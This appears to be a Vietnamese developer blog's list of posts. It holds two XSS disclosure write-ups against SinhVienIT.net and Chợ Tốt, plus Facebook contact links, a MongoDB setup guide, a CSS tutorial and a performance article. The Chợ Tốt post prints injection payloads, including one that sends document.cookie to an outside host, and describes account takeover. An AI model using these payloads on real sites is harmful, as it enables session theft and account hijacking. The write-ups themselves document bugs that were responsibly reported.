2018-12-26

Tớ đã hack trang SinhVienIT.net như thế nào?

Tớ đã hack trang SinhVienIT.net như thế nào?

Lỗ hổng bảo mật XSS trên sinhvienit.net

Một ngày đẹp trời, tớ lên Google kiếm link tải Visual Studio. Như thường lệ, SVIT (sinhvienit.net) và VNZ (vn-zoom.com) luôn đứng top khi tìm kiếm mấy phần mềm... cr@ck. Khỏi phải suy nghĩ, tớ liền nhấn vào một link có thể tin tưởng (là trang nào thì các bạn cũng biết rồi đấy, liên quan tới bài viết mà).
Vào đọc lướt qua, kéo tới phần tải về. Chợt tớ để ý vào link đầu tiên mà chúng ta có thể nhận ra ngay là một trình chuyển hướng (redirector):

Vốn là tay thích săn lỗ hổng, tớ nghĩ thoáng qua trong đầu... "Không biết lão Lai dùng meta refreshjavascript hay PHP header để chuyển hướng nhỉ?". Nghĩ vậy, tớ liền nhanh tay copy link và thêm "view-source:" vào đầu.

Như vậy là sử dụng JavaScript, phần dữ liệu trên URL được in lại khá nhiều trong trang. Thử kiểm tra XSS xem nào!

Tất cả vị trí đều bị mã hóa ký tự HTML. Thử lại với nháy đơn thôi xem!

Hừm, có vẻ ổn. Một hi vọng lóe lên trong đầu! Tại vị trí này, chúng ta không cần sử dụng thẻ HTML nào vì chúng ta đang ở ngay giữa <script>...</script> (pháo đã lên nòng, chỉ việc châm lửa). Bypass thôi nào!
  • Kết thúc việc gán giá trị vào biến redirUrl: ';
  • Bắt đầu exploit payload của chúng ta: alert('Juno_okyo')
  • Vô hiệu hóa các ký tự thừa bằng chú thích: //
Kết hợp lại tớ được vector XSS như sau: ';alert('Juno_okyo')//
Và kết quả là:

Từ XSS thành CSRF

Vì lỗ hổng XSS này nằm trên trình chuyển hướng liên kết ra ngoài SVIT nhưng link chuyển hướng lại cùng hostname với diễn đàn, tức là khả năng chiếm phiên làm việc hoàn toàn khả thi. Hơn nữa, Security Token của vBB không thay đổi (token không tự tái tạo lại sau mỗi truy vấn mà giữ nguyên trong suốt một phiên làm việc), tớ nghĩ ngay tới khả năng có thể chiếm token để thực hiện mọi thao tác dưới danh nghĩa người dùng bất kỳ => CSRF.

Xây dựng kịch bản tấn công

  1. Tạo một URL chuyển hướng sử dụng DOM để chèn một file JS chứa mã khai thác.
  2. Tạo một trang HTML sử dụng Iframe trỏ tới URL ở bước 1.
  3. Trong file JS ở bước 1, tạo truy vấn tới SVIT để chiếm Security Token và sử dụng token để đăng xuất tài khoản của thành viên đã vô tình truy cập vào trang web ở bước 2.
Nếu bước 3 thành công, chúng ta xác nhận rằng lỗ hổng CSRF tồn tại!

Proof of Concept

Video này tớ sẽ demo lại toàn bộ kịch bản tấn công ở trên. Và với việc tớ quay lại demo thì hẳn các bạn đã đoán ra kết quả của kịch bản này như thế nào rồi đó! :)
Đừng quên đăng ký theo dõi kênh Youtube của tớ để nhận được thông báo mỗi khi có video mới nhé!

Timeline

  • 4:23 PM - 16/07/2016: Lỗ hổng được báo cáo tới quản trị viên.
  • 5:00 PM - 16/07/2016: Quản trị viên Sinhvienit.net xác nhận lỗ hổng tồn tại và đề nghị một khoản tiền thưởng.
  • 5:05 PM - 16/07/2016: Lỗ hổng được khắc phục. Hai bên trao đổi thêm một số thông tin liên quan.
  • Nguồn: https://junookyo.blogspot.com

Share Bộ 200 link contact Facebook, gần như đầy đủ tất cả các link

Share Bộ 200 link contact Facebook, gần như đầy đủ tất cả các link

Share Bộ 200 link contact Facebook, gần như đầy đủ tất cả các link

Link Contact

Báo cáo vấn đề đăng nhập : https://www.facebook.com/help/contact/357439354283890
Xác nhận danh tính của bạn bằng giấy tờ tùy thân : https://www.facebook.com/help/contact/319547548123767
Đã bị vô hiệu hóa - Không đủ điều kiện : https://www.facebook.com/help/contact/317389574998690
Confirm Your Identity With Facebook : https://www.facebook.com/help/contact/183000765122339
Tài khoản cá nhân của tôi đã bị vô hiệu hóa : https://www.facebook.com/help/contact/260749603972907
Báo cáo vấn đề về việc xác nhận tài khoản Facebook : https://www.facebook.com/help/contact/174964429275926
Báo cáo vấn đề về xác minh tài khoản : https://www.facebook.com/help/contact/283958118330524
Data Policy Questions : https://www.facebook.com/help/contact/1461223320847982
Vấn đề về mã Phê duyệt đăng nhập : https://www.facebook.com/help/contact/259497704121855
California's Shine the Light law : https://www.facebook.com/help/contact/1647869505427057
Data Policy Questions : https://www.facebook.com/help/contact/861937627253138
THAY TÊN CHUẨN, ĐỔI TÊN : https://www.facebook.com/help/contact/1417759018475333 
Cung cấp cho chúng tôi phản hồi về tính năng Facebook : https://www.facebook.com/help/contact/268228883256323
Báo cáo vấn đề về Trang Facebook : https://www.facebook.com/help/contact/?id=164405897002583
Báo cáo Vi Phạm hoặc Xâm Phạm Quyền Của Bạn : https://www.facebook.com/help/contact/?id=208282075858952
Report Pages that Disappeared : https://www.facebook.com/help/contact/?id=167646843343666
Report an Ad : https://www.facebook.com/help/contact/?id=234887816572954
Bank Account Payments : https://www.facebook.com/help/contact/281141591936826
Disabled Ad Account Help : https://www.facebook.com/help/contact/531795380173090
Truy vấn về Thanh toán Quảng cáo : https://www.facebook.com/help/contact/239064626155650
Nhận hỗ trợ về thanh toán trên Facebook : https://www.facebook.com/help/contact/830921593618796
Facebook Payments Support Center - Enter : https://www.facebook.com/help/contact/137574362977954
Give feedback or report that something is broken: Photos : https://www.facebook.com/help/contact/?id=138856662881439
Report an Issue with Disappearing Videos : https://www.facebook.com/help/contact/?id=333113853388695
Report an Issue with Chat Disconnections : https://www.facebook.com/help/contact/?id=220877088001498
Report an Issue with Search : https://www.facebook.com/help/contact/?id=137406866379070
Report an Issue with Notifications : https://www.facebook.com/help/contact/?id=269067606491964
Báo cáo vi phạm quyền riêng tư : https://www.facebook.com/help/contact/144059062408922
Báo cáo lỗ hổng bảo mật : https://www.facebook.com/whitehat/report/
Yêu cầu xóa tài khoản cho ai đó bị ốm, bị thương hoặc mất khả năng : https://www.facebook.com/help/contact/191122007680088
Privacy Rights - Video Removal Request : https://www.facebook.com/help/contact/139646232852264
Report an Issue with Facebook on Mobile : https://www.facebook.com/help/contact/?id=110188012426789
Report an Unavailable Group or Event : https://www.facebook.com/help/contact/?id=157461604368161
Gọi điện tới Facebook theo số: (1) 1-800-694-2600 hoặc 1-800-601-0077
Yêu cầu thay đổi ngày sinh : https://www.facebook.com/help/contact/233841356784195
Hợp nhất các trang trùng lặp : https://www.facebook.com/pages/merge/
Phản hồi của bạn về trang : https://www.facebook.com/help/contact/306836472662147
Mentions Verification Request : https://www.facebook.com/help/contact/1491114197882751
Báo cáo tài khoản giả mạo : https://www.facebook.com/help/contact/295309487309948
Yêu cầu tưởng nhớ : https://www.facebook.com/help/contact/1605213279719667
Mẫu báo cáo bản quyền : https://www.facebook.com/help/contact/1409697672616547
Báo cáo một sự vi phạm Điều khoản Facebook : https://www.facebook.com/help/contact/191381691012854
Must Log In To See This Page Error : https://www.facebook.com/help/contact/290391837683878
Invalid Email Address Error : https://www.facebook.com/help/contact/340846992655773
Vấn đề về SMS (Tin nhắn văn bản) chứa mã xác nhận : https://www.facebook.com/help/contact/?id=338822979524831
Báo cáo vấn đề về xác minh tài khoản : https://www.facebook.com/help/contact/?id=283958118330524
Page Promotion Help : https://www.facebook.com/help/contact/175415912598628?_rdr=p
Kháng nghị quảng cáo không được phê duyệt : https://www.inyour.facebook.com/help/contact/1582364792025146
Report an Underage Child (South Korea & Spain) : https://www.facebook.com/help/contact/1408156889442791
Report Content Lost During Reactivation : https://www.facebook.com/help/contact/270321339699849
https://www.facebook.com/help/contact/304635099583936 : Report an Issue with Webcam Videos on Facebook
https://www.facebook.com/help/contact/167024990072620 : Report an Issue with Video Playback
Chat Appears Turned Off for Friends : https://www.facebook.com/help/contact/240186386056090
Report a Page Unavailable Error : https://www.facebook.com/help/contact/357161520978587
Your Feedback About Places : https://www.facebook.com/help/contact/347276355296268
https://www.facebook.com/help/contact/232989770111862 << Impressum Contact
https://www.facebook.com/help/contact/174964429275926 << Báo cáo vấn đề về việc xác nhận tài khoản Facebook (*)
https://www.facebook.com/help/contact/237843336274237 << Tên không được chấp nhận
https://www.facebook.com/help/contact/317389574998690 << Disabled – Ineligible
https://www.facebook.com/help/contact/183190208381429 << Xác nhận lại thông tin cá nhân của bạn
https://www.facebook.com/help/contact/197295393639994 << Xác minh tên của bạn
https://www.facebook.com/help/contact/319547548123767?rdrhc << Xác minh danh tính bằng giấy tờ tùy thân
https://www.facebook.com/help/contact/222853911135005
https://www.facebook.com/help/contact/199052956872279
Xác minh tên https://www.facebook.com/help/contact/197295393639994
Đổi tên https://www.facebook.com/help/contact/245617802141709 
report bệnh tật https://www.facebook.com/help/contact/191122007680088
report die https://www.facebook.com/help/contact/1465699090320797
report sex https://www.facebook.com/help/contact/207005222725325
xác nhận danh tính khi bị check ảnh hoặc bắt up cmnd
https://www.facebook.com/help/contact/319547548123767
dành cho không thể đăng nhập được tài khoản do đăng nhập từ xa .mã code đt...( mấy bé check acc nên xài )
https://www.facebook.com/help/contact/logout…
xác nhận thông tin cá nhân
https://www.facebook.com/help/contact/183190208381429
block do không đủ tiêu chuẩn sd fb
https://www.facebook.com/help/contact/317389574998690
block do ăn vé tên giả
https://www.facebook.com/help/contact/237843336274237
verify lại account
https://www.facebook.com/help/contact/174964429275926
đổi ngày sinh : https://www.facebook.com/help/contact/233841356784195

https://www.postplanner.com/how-to-contact-facebook-to-get-support/ ( 120 link trong đây )

2018-12-23

Tôi đã hack Chợ Tốt như thế nào.




Tôi đã hack Chợ Tốt như thế nào

Hôm nay thử dạo một vòng Chợ Tốt kiếm mấy món hàng cũ, thì phát hiện lỗi XSS, đây là lỗi không mới, cách thức tấn công cũng đơn giản, nhưng nhiều khi cần rất nhiều sáng tạo trong quá trình khai thác.
Thử tìm kiếm với từ khóa “iphone 7” thì thấy như thế này:
alt text
Ai chà, url đẹp phết, mình thích url này rồi đấy, search key đã được bỏ dấu và thêm dấu gạch ngang cho hợp chuẩn. Thử thêm một ít html vào thì thế này (ảnh nhỏ các bạn mở ở tab mới để xem nhé)
alt text
Rất nhiều nơi, search key đã được entities, tuy nhiên vì lý do nào đó, search key trong đoạn javascript này đã không được xử lý. Vấn đề là, từ khóa nó đang nằm trong string, nên alert không xảy ra hiện tượng gì.
Cuối cùng mình sửa search key như sau:
iphone 7" }; alert("something went wrong"); var a = { "a":"
Thì nhận được alert:
alt text
Bạn thấy không? Mình muốn nói đến cái search key trên, từ một property của object, nó đã tách thành 2 object, và alert nằm giữa một cách đẹp đẽ và tuyệt vời.
OK, giờ thử redrect đến 1 trang ngoài cùng với cookie của người dùng xem sao, mình thử code này:
iphone 7" }; window.location="http://google.com/" + document.cookie; var a = { "a":"
alt text
Như các bạn thấy, coder đã cẩn thận bỏ dấu gạch chéo // và phần sau của search key đi, cũng như lọc một số từ đặc biệt trong chuỗi, như vậy là không thể tương tác gì url bên ngoài được? Không, phải nghĩ cách khác. Cuối cùng thì mình đã tìm ra cách hoàn hảo nhất là đây:
iphone 7" }; eval(atob("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx")); var a = { "a":"
Với xxxxx là mã hóa base64 của một đoạn code javascript bất kỳ, tức là chúng ta có thể chèn bất kỳ đoạn javascript nào vào Chợ Tốt. Ví dụ sau đây để alert cookie:
iphone 7" }; eval(atob("YWxlcnQoIGRvY3VtZW50LmNvb2tpZSk=")); var a = { "a":"
Và đây là kết quả:
alt text
Đã đến bước này, thì các bạn đã biết mình sẽ làm gì tiếp theo rồi phải không? Mình đăng 1 bài viết mua bán với giá rất rẻ, trong đó có kèm link, lấy cookie để vào được tài khoản của những người không may click vào link.
Nhưng không dừng lại ở đó, khi đã vào được tài khoản của vài thành viên khác, mình có thể mở rộng hơn qua chính công cụ chat của Chợ Tốt bằng tokenKey đã lấy được. Viết script tự động chat với nhiều thành viên khác với nội dung bán đồ rất rẻ, và kèm link để câu.
alt text
Tâm lý là khi được chat về sản phẩm đang bán, người dùng rất dễ click vào link, social engineering khá hiệu quả trong trường hợp này.
Mình đánh giá rất cao tinh thần của đội ngũ ChoTot, sau khi gửi report qua email, bên ChoTot đã gọi điện xác nhận, chuyển đến bộ phận kỹ thuật nhanh chóng kiểm tra, fix lỗi, thônng báo mình kiểm tra các lỗi tương tự và thông báo lại.

2018-12-15

Sử dụng chung MongoDB database cho cả development và production

Sử dụng chung MongoDB database cho cả development và production

Tất nhiên đây chỉ là một trick không hề được khuyến khích áp dụng vào bất cứ một dự án Company nào (vốn đòi hỏi yêu cầu bảo mật và an toàn dữ liệu cực kì lớn). App của mình cũng nhỏ thôi, và mình thì... lười. Giả sử như có một bảng user, tất nhiên, user phải vượt qua màn đăng nhập mới được phép truy cập vào app. Và một quãng thời gian đen đủi xảy ra, bạn phải vác chính cái app của mình đi deploy hết từ máy này cho đến máy nọ, vì mất lap, vì chó ỉa lên bàn phím hay sao sao đó chẳng hạn thì việc phải tạo ra một cái DB nữa cho development server nó khiến bạn muốn chán sống đúng không?
Mấy cái chuyện như thế này vốn có nhiều cách giải quyết mà. Dump sẵn một database demo phía client cũng được. Tái sử dụng mongoDB database phía server như mình cũng là một lựa chọn. Chả cái nào hơn cái nào, về phía mình, chỉ là... mình không có nhiều thời gian đi nghiên cứu những cái gì khiến chuyện mình phải focus vào cái app trở nên khó kiểm soát thôi. Mình chỉ là một frontend developer kiêm fullstack developer cho một startup cỡ nhỏ, và bản thân mình nghèo kiết xác k có tiền túi để thuê đứa khác làm giùm mấy cái backend này.

Public port 27017

Cảnh báo cực mạnh: trong mọi trường hợp, đây là cách làm nguy hiểm, trừ khi bạn đã thiết lập chặt chẽ việc bảo mật quá trình kết nối đến MongoDB bằng auth và SSL/TLS hoặc mấy thứ tương tự.
Nói đến chuyện SSL/TLS, chừng nào mình nghiên cứu xong vụ này mình sẽ có một bài viết, đây là trò mình khá thích. Thiết lập Nginx như là một stream reverse-proxy cho MongoDB phía sau hoặc public cổng 27017 rồi cài đặt để bắt buộc sử dụng SSL/TLS khi kết nối chẳng hạn.
Trò này thì đơn giản thôi không khó. Mở file mongod.conf lên (thường thì nằm ở /etc/mongod.conf vì server mình chạy CentOS), comment out dòng bind_ip đi hoặc khai báo rõ nó như dưới đây
# Listen to local interface only. Comment out to listen on all interfaces. 
# bind_ip=127.0.0.1
bind_ip=0.0.0.0
Rồi khởi động lại Mongo là xong. Dưới development, sửa lại localhost thành IP của server, ví dụ mongodb://user:password@aaa.bbb.ccc.ddd/database

SSH Tunnel

Về mặt hình thức thì trò này cũng tương tự như việc bạn sử dụng Robo3T hay mấy phần mềm MongoAdmin tương tự, cho phép kết nối đến mongo server thông qua SSH Tunnel. Kết nối từ máy local sẽ không đi thẳng đến mongo server mà thông qua SSH trước, bằng cách này, tất nhiên sẽ không cần phải public port 27017 nữa, vẫn đảm bảo tính an toàn cho dữ liệu bên trong MongoDB. Để giữ an toàn cho việc đọc/ghi dữ liệu, đừng quên thiết lập bảo mật cho SSH (ví dụ bắt buộc đăng nhập có mật khẩu hay sử dụng private key nhằm mã hoá kết nối SSH cũng như tránh việc bị thằng mấy dạy nào đó chôm được quyền đăng nhập vào server, nhất là tài khoản root, nói tới đây tự hiểu hậu quả nhe).
Bản thân NodeJS có một vài package cho phép hỗ trợ tunnel SSH kiểu này, mình thì ưa thích dùng package tunnel-ssh. Cách sử dụng tunnel-ssh để kết nối đến mongoDB phía server được demo chi tiết trong đoạn code dưới đây
// dev-tunnel.js
import tunnel from 'tunnel-ssh'
import fs from 'fs'

const devSSHTunnel = cb => {
  const sshConfig = {
    host: 'aaa.bbb.ccc.ddd',
    username: 'root',
    agent: process.env.SSH_AUTH_SOCK,
    privateKey: fs.readFileSync(process.env.DEV_SSH_PRIVATE_KEY, 'utf-8'),
    port: 22, // An toàn hơn nữa là đổi luôn cổng mặc định của SSH
    dstPort: 27017
  }

  tunnel(sshConfig, (err, server) => {
    if (err) {
      console.error(err.message)
      return
    }
    console.log('SSH connection successfully')
    cb()
  })
}

export default devSSHTunnel

// mongoose-connect.js
import mongoose from 'mongoose'
import devSSHTunnel from './dev-tunnel'

mongoose.Promise = global.Promise
const conf = {
  useNewUrlParser: true,
  // useMongoClient: true,
  poolSize: 2,
  promiseLibrary: global.Promise
}

function connectDevelopment() {
  return new Promise(resolve => {
    devSSHTunnel(() => {
      const connectPromise = mongoose.connect(
        'mongodb://user:pass@localhost/database',
        conf
      )
      var db = mongoose.connection
      db.on('error', console.error.bind(console, 'DB connection error:'))
      db.once('open', function() {
        console.log('DB connection successful')
      })
      resolve(connectPromise)
    })
  })
}
Mình chả biết viết linh tinh mấy cái này có giúp mình bớt gãy sau 14 tiếng liền ngủ vì cơ thể kiệt sức không chịu nổi. Nhưng thôi kệ, nevermind, anh em có cái để đọc để biết là được. Haha.

2018-12-12

Tìm hiểu thuộc tính position trong CSS

Tìm hiểu thuộc tính position trong CSS

Chắc hẳn khi các bạn làm layout, chuyển PSD sang HTML. Thì việc sử dụng thuộc tính position trong CSS là không thể thiếu. Như là khi dùng :before hay :after hoặc làm menu đa cấp hoặc header cố định một chỗ khi scroll trình duyệt…..

Hay là di chuyển một mục nào đó mà không gây ảnh hưởng tới các phần khác. Giúp bạn linh động trong việc làm layout mà không phải lo lắng gì cả. Cho nên hôm nay chúng ta sẽ cùng tìm hiểu về thuộc tính position trong CSSnhé.

Giá trị của thuộc tính position trong css

Thuộc tính position hiện tại có những giá trị thường được dùng sau:
  • relative: Giá trị này thường được sử dụng để thiết lập vị trí của phần tử mà không gây ảnh hưởng tới việc hiển thị ban đầu cũng như các phần tử khác
  • absolute: Giá trị này dùng để thiết lập vị trí của một phần tử theo phần tử cha có giá trị thuộc tính position là relative hoặc absolute
  • fixed: Giá trị này giúp cho phần tử luôn cố định một chỗ khi chúng ta scroll trình duyệt
  • static: Đây là giá trị hiển thị mặc định của thuộc tính position trong CSS.
Và đi kèm với thuộc tính position thì đó là các thuộc tính dùng để căn chỉnh vị trí cho phần tử
  • top: Thuộc tính này giúp chúng ta căn chỉnh phần tử từ trên xuống dưới nếu giá trị > 0 và ngược lại nếu giá trị < 0 nó sẽ chạy ngược lên trên
  • bottom: Thuộc tính này thì ngược lại so với top, nó giúp chúng ta căn chỉnh phần tử từ dưới lên trên nếu giá trị > 0 và ngược lại nếu giá trị < 0 nó sẽ chạy xuống dưới
  • right: Thuộc tính này giúp chúng ta căn chỉnh phần tử từ phải qua trái nếu giá trị > 0 và ngược lại nếu giá trị < 0 nó sẽ chạy qua phải
  • left: Thuộc tính nàygiúp chúng ta căn chỉnh phần tử từ trái qua phải nếu giá trị > 0 và ngược lại nếu giá trị < 0 nó sẽ chạy qua trái
Đọc xong thấy có vẻ khó hiểu nhỉ. Chắc chắn là vậy rồi. Đọc không mà. Vì thế mình có làm ví dụ từng thuộc tính một cho các bạn xem đây.

Giải thích các vị trí trong position

Trước khi đi sâu giải thích các giá trị trong position. Mình xin giải thích trước các thuộc tính về vị trí như toprightbottomleft thì mình có làm hình minh họa như dưới đây cho các bạn dễ hình dung nè

Khi một phần tử cha có thuộc tính position: relative và bạn muốn canh phần tử con theo phần tử cha đó và phần tử con sử dụng position: absolute. Chúng ta sẽ sử dụng các thuộc tính vị trí trên để căn chỉnh cho nó. Nên mình có sơ lược vài ý dưới đây cho các bạn
  1. Nếu chỉ có giá trị top = 0 và left = 0 thì phần thì phần tử sẽ nằm góc bên trái trên cùng
  2. Nếu chỉ có top = 0 và right = 0 thì phần tử sẽ nằm góc bên phải trên cùng
  3. Nếu chỉ có bottom = 0 và left = 0 thì phần tử sẽ nằm góc bên trái dưới cùng
  4. Và nếu chỉ có bottom = 0 và right = 0 thì phần tử sẽ nằm ở góc bên phải dưới cùng
  5. Các trường hợp giá trị > 0 hay < 0 thì nó sẽ di chuyển phần tử theo ý bạn(đã giải thích ở mục trên)
  6. Trường hợp đều có 4 giá trị top right bottom left và đều = 0 phần tử con(absolute) sẽ phủ hết phần tử cha(relative) nếu các bạn không set thuộc tính widthheight cho phần tử con
  7. Nếu chỉ có left = 0 và right = 0 thì phần tử con có độ rộng là 100% của phần tử cha nếu không set thuộc tính width cho phần tử con
  8. Tương tự nếu chỉ có top = 0 và bottom = 0 thì phần tử con có chiều cao 100% của phần tử cha nếu không set thuộc tính height cho phần tử con
  9. Ngoài ra các thuộc tính khác vẫn sử dụng chung với position đều được như margin, background…..
Các bạn xem thêm codepen dưới đây cho dễ hiểu hơn nha. Các bạn nên mở cái Codepen này lên và thay đổi giá trị toprightbottom hay left để thấy được cách nó hoạt động nha.

Giá trị relative

Như đã nói ở trên giá trị này giúp căn chỉnh phần tử mà không gây ảnh hưởng đến các phần tử khác. Bình thường chúng ta dùng margin hay padding chắc chắn sẽ đẩy các phần tử khác ra một đoạn gây ảnh hưởng tới layout.
Các bạn thấy chứ mình dùng position: relative cho phần tử image thế là nó nằm lên trên đoạn text luôn mà đoạn text không hề di chuyển. Nếu bình thường bạn không dùng position: relative mà bạn dùng margin hay padding sẽ ảnh hưởng ngay.

Giá trị absolute

Đây giá trị này mình mới giải thích kỹ cho các bạn về các vị trí ở trên mục giải thích các vị trí. Thường thường giá trị absolute này khi được sử dụng cho phần tử mà phần tử cha của nó đang có relative hoặc absolute . Để lúc này nó sẽ chạy theo phần tử cha đó
Các bạn nhớ dùng Codepen này của mình thay đổi giá trị thử nhé. Hiện tại mình để top: 0 và left: 0nên nó nằm trên cùng bên trái đó. Có gì không hiểu kéo lên mục giải thích các vị trí ở trên nha.

Giá trị fixed

Đây là giá trị thần thánh mà bạn hay gặp. Khi vào một website nào đó bạn scroll trình duyệt mà cứ thấy cái menu nó cứ đứng ở đó hoài hay là cái button chẳng hạn. Đó là giá trị fixed. Giá trị này không phụ thuộc vào phần tử cha hay gì cả. Khi nào scroll trình duyệt là nó hoạt động thôi. Xem ví dụ để hiểu nè.

Ngoài lề giá trị sticky

Mình không có đề cập nó ở trên là vì nó không được hỗ trợ nhiều. Nhưng cũng nói sơ cho các bạn hiểu và hình dung. Nó cũng na ná fixed nhưng mà khi các bạn scroll đụng đó nó sẽ nằm như fixed và khi các bạn scroll lên ra khỏi nó nó sẽ quay lại vị trí ban đầu.

Xem demo phát cho dễ hiểu nè. Vì nó không hỗ trợ nhiều nên mình khuyến khích các bạn không nên dùng nà.

Lời kết

Thuộc tính position trong CSS rất quan trọng nên mình khuyên các bạn nên học và nắm vững chúng thật kỹ càng. Nó được sử dụng rất nhiều trong việc code website hiện nay lắm đặc biệt là cắt layout và làm các thành phần như menu đa cấp(sử dụng nhiều position lắm).
Nếu có thời gian mình sẽ viết thêm bài áp dụng thuộc tính position này vào trong một thành phần nào đó trong website cho các bạn dễ hình dung nha. Còn giờ thì cám ơn bạn đã đọc bài và chúc các bạn một ngày tốt lành.

2018-12-05

10 tuyệt kĩ từ trang web nhanh nhất thế giới (phần 1)

10 tuyệt kĩ từ trang web nhanh nhất thế giới (phần 1)

Bài viết này phân tích về những kĩ thuật tăng hiệu suất của 1 trang web, vì thế hy vọng bạn sẽ không phiền nếu trang web được nói đến vẫn chưa hoàn thiện lắm.
Nhưng bạn cần có 1 cái gì đó để click vào và đánh giá xem ý kiến của tôi có giá trị hay không. Bạn có thể tham khảo tại đây: https://knowitall-9a92e.firebaseapp.com/
Hy vọng trang web sẽ mở nhanh để tôi có được chút danh tiếng ban đầu.
Nếu bạn đang tự hỏi tại sao tôi lại đang viết về trang web này khi nó vẫn chưa hoàn thiện.. là vì những góp ý. Hiệu suất là tập hợp chuỗi mẹo và các cách suy nghĩ về mọi việc. Vì vậy tôi sẽ rất vui nếu bạn có thứ gì đó hay ho để góp ý cho website bằng cách truy cập source tại đây.
Khi chế độ Strict Mode được bật, nếu tham số truyền vào là string, trong khi chúng

Hãy nói về tốc độ

Bạn có thể tham khảo biểu đồ sau.
Liệu bạn có muốn website được cách điệu 1 cách không cần thiết?
TopDev Techtalk #54: PHP & PHP7 – Secrets behind Optimization
*Hồ Chí Minh: 18h00 – 21h00 thứ 5, ngày 12/01/2017
9

Đây có phải là cuộc chiến công bằng?

Không. Những trang web trên có chức năng hoàn toàn khác biệt, nên sẽ rất vô lý nếu chúng tải cùng 1 thời gian. Nhưng những trang web trên đã rất nỗ lực để cải thiện hiệu suất và đạt mục tiêu tạo được 1 trang web tải nhanh hơn trang homepage của Google.

Tại sao trông chúng lại không ấn tượng

Nếu bạn vô tình cảm thấy ấn tượng, tôi khuyên bạn nên bình tĩnh 1 chút. Tôi không phải read từ 1 database để sản xuất content hay bắt bạn đăng nhập hay tải 7 loại ads từ bên thứ 3 – mỗi cái thực hiện 40 redirects trước khi chúng tải được 1 file flash. Tôi thậm chí còn không dùng đến bất kì hình ảnh nào nữa cơ. Và page count = 1.

Tại sao chúng lại gây ấn tượng

Trước khi trang web được tải và sẵn sàng chạy, tôi đang tải về và parse 1 file JSON 75.000 line. Nếu được expanded, sẽ cho ra kết quả là 9.986 hàng.
Và tôi đang xài 1 thư viện. Các thư viện đều chậm (bất kể tốc độ nhanh chóng mà chúng đang có).
Dưới đây là 10 bài học mà tôi có được trong suốt hành trình đã qua. 7 trong số chúng khá hữu hiệu ở thời điểm cách đây 2 tháng, 3 cái còn lại thì khá… rác rưởi.
Tất nhiên, tôi sẽ không nói bạn đâu là 3 cái đó.

#1 Đừng cố gắng tạo 1 trang web chậm

Tôi nghe được điều này từ 1 người không phải là lập trình viên web. “Tôi đang lướt trang mercedes.com và nó quá chậm, làm thế nào mà họ có thể tạo được 1 trang chậm như thế”
Tôi cho rằng việc tạo nên 1 trang web chậm thì chẳng khó khăn gì, tất cả những gì bạn phải làm là cố gắng không phải tạo 1 trang web nhanh.
Đây là tin tức tốt, vì nếu tất cả những gì bạn làm là cố gắng tạo trang web nhanh, bạn sẽ tự động có được 1 trang web nhanh hơn.
Bí mật tối ưu hóa PHP & PHP7 hàng đầu. Đăng kí tìm hiểu ngay!
Bí mật tối ưu hóa PHP & PHP7 hàng đầu. Đăng kí tìm hiểu ngay!
Đối với trang web này, trong mỗi bước, tôi lại dành ra vài thời điểm để nghĩ về mức độ ảnh hướng đến hiệu suất trong những gì mình đang làm. Với mỗi thư viện mà tôi đã sử dụng trong ứng dụng này, tôi đo đạc lại 3 chỉ số này, trước và sau:
  • first meaningful paint
  • thời gian interactive
  • expanding 1 DOM node
Nếu 1 thư viện có ảnh hưởng tiêu cực, hãy bỏ nó ra. Ví dụ, tôi đã từng dùng lodash deepClone trong đối tượng JS có 75.000 prop. Sau khi chuyển sang Immutable.js thì mọi chuyện đã hoàn toàn khác.
Tôi đang sử dụng React, và thỉnh thoảng dùng đến thư viện classnames. Sau đó tôi ước lượng lại bằng số liệu lần nữa và… không có gì khác biệt.
Mỗi lần bạn nhập 1 thư viện mới hoặc tạo nên 1 sự thay đổi lớn để nâng cao hiệu suất, bạn chỉ tốn có 5 phút mà thôi..

#2 Do mobile first

Có 2 chiến lược “mobile first” ở đây.
Chiến lược đầu tiên (tôi vẫn làm mãi cho đến dự án này), tôi đã ngồi tại monitor 27″ với 1 style website imax trước mặt, 1 fan-cooled CPU “quái vật” và hàng tá RAM thực hiện mọi mệnh lệnh mà tôi đặt ra.
Sau đó, tôi viết CSS media queries với min-width và nói với bạn bè của mình rằng, tôi đang thực hiện chiến lược “mobile first”
Đối với dự án này, tôi thực sự đã làm mobile first. Đó là, phát triển trang web chạy trên thiết bị di động. Tôi làm điều này trước, và khi đã hài lòng về UI và hiệu suất, tôi tiến hành nó trên máy tính lớn.
Bạn sẽ bất ngờ khi nhận ra không hề khó để có 1 trang web nhanh chạy trên 1 machine nhanh!
(Câu chuyện không đơn giản như thế, tôi đã bắt đầu dự án với những thói quen cũ không tốt, sau đó nửa đường thì dần trưởng thành, học hỏi được nhiều hơn và đã mặc định là bắt đầu lập trình trên mobile)
Bây giờ, việc trang web chỉ chạy trên 1 chiếc điện thoại là 1 giấc mơ, nhưng khi so sánh các chỉ số về hiệu suất sau nhiều ngày và nhiều tuần, bạn muốn 1 benchmark nhất quán. Nếu bạn xem video này, bạn sẽ biết rằng testing trên 1 thiết bị mobile thực tế không hề chuẩn mực chút nào. Bạn cũng sẽ biết tại sao tôi lại nói 1 cái CPU – được – quạt – mát sẽ đóng vai trò rất quan trọng.
Khi bạn thực hiện benchmarking, bạn nên sử dụng Chrome DevTools and throttle CPU và network của bạn. Tôi sử dụng CPU giảm tốc 10x lần và để network ở chế độ “Good 3G”. Tôi biết nó có thể không chậm bằng chiếc điện thoại trung bình nhưng tôi không muốn bị làm phiền với các vấn đề về tốc độ.
Bởi vì không dừng lại ở 1 cái gật đầu và lời đồng tình rằng đây là ý tưởng tốt mà nó còn phải là 1 ý tưởng thực sự có giá trị.
 
Đây là 1 thứ khiến tôi khá ngạc nhiên: chúng thực sự rất ồn.
Đây là thứ khác khiến tôi ngạc nhiên: tôi có 1 CPU i7 lớn mà tôi sử dụng để làm hầu hết mọi việc và 1 Pixel XL hoàn toàn mới: chiếc điện thoại nhanh nhất trên thế giới. Theo bạn thì hiệu suất điện thoại của tôi sẽ ra sao? 80% desktop? 60%? Hay có ai đoán là trên 10% không?
Sai rồi! Chỉ có 10% mà thôi. Nếu tôi làm chậm i7 lại khoảng 10 lần, nó cũng bằng tốc độ với chiếc điện thoại 1400USD trước mặt tôi.
Đăng kí ngay để khai phá những công thức tối ưu hóa PHP & PHP 7
Đăng kí ngay để khai phá những công thức tối ưu hóa PHP & PHP 7
Đó là sự khác biệt giữa cái click 20ms và click 200ms. Hoặc 1 khung hình tốn 16ms để render với 160ms.

#3 Trở thành 1 kẻ rành về benchmark

Một khi đã nhận được nhận xét tốt trên 1 trang benchmarking, tôi lại càng muốn tiến hành với tất cả các trang benchmarking để được nghe lời khen nhiều hơn.
